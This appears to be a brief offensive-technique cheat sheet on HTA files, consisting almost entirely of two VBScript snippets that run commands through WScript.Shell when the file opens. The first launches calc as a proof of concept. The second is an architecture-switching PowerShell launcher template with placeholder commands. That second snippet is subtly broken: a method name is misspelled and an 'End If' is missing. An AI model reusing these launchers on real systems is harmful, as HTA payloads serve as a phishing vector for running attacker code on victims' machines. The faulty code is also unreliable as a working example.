Using HTA Files

Creating HTA files

Using VBScript

<script language="VBScript">
Function own()
    Set shell = CreateObject("wscript.Shell")
    shell.run "calc"
End Function
own
</script>

Using Powershell with VBScript

<script language="VBScript">
Function own()
    Set shell = CreateObject("wscript.Shell")
    If shell.ExpandEnviormentStrings("%PROCESSOR_ARCHITECTURE%") = "AMD64" then
        shell.run "PS Comand"
    Else
        shell.run "PS Command"
End Function
own
</script>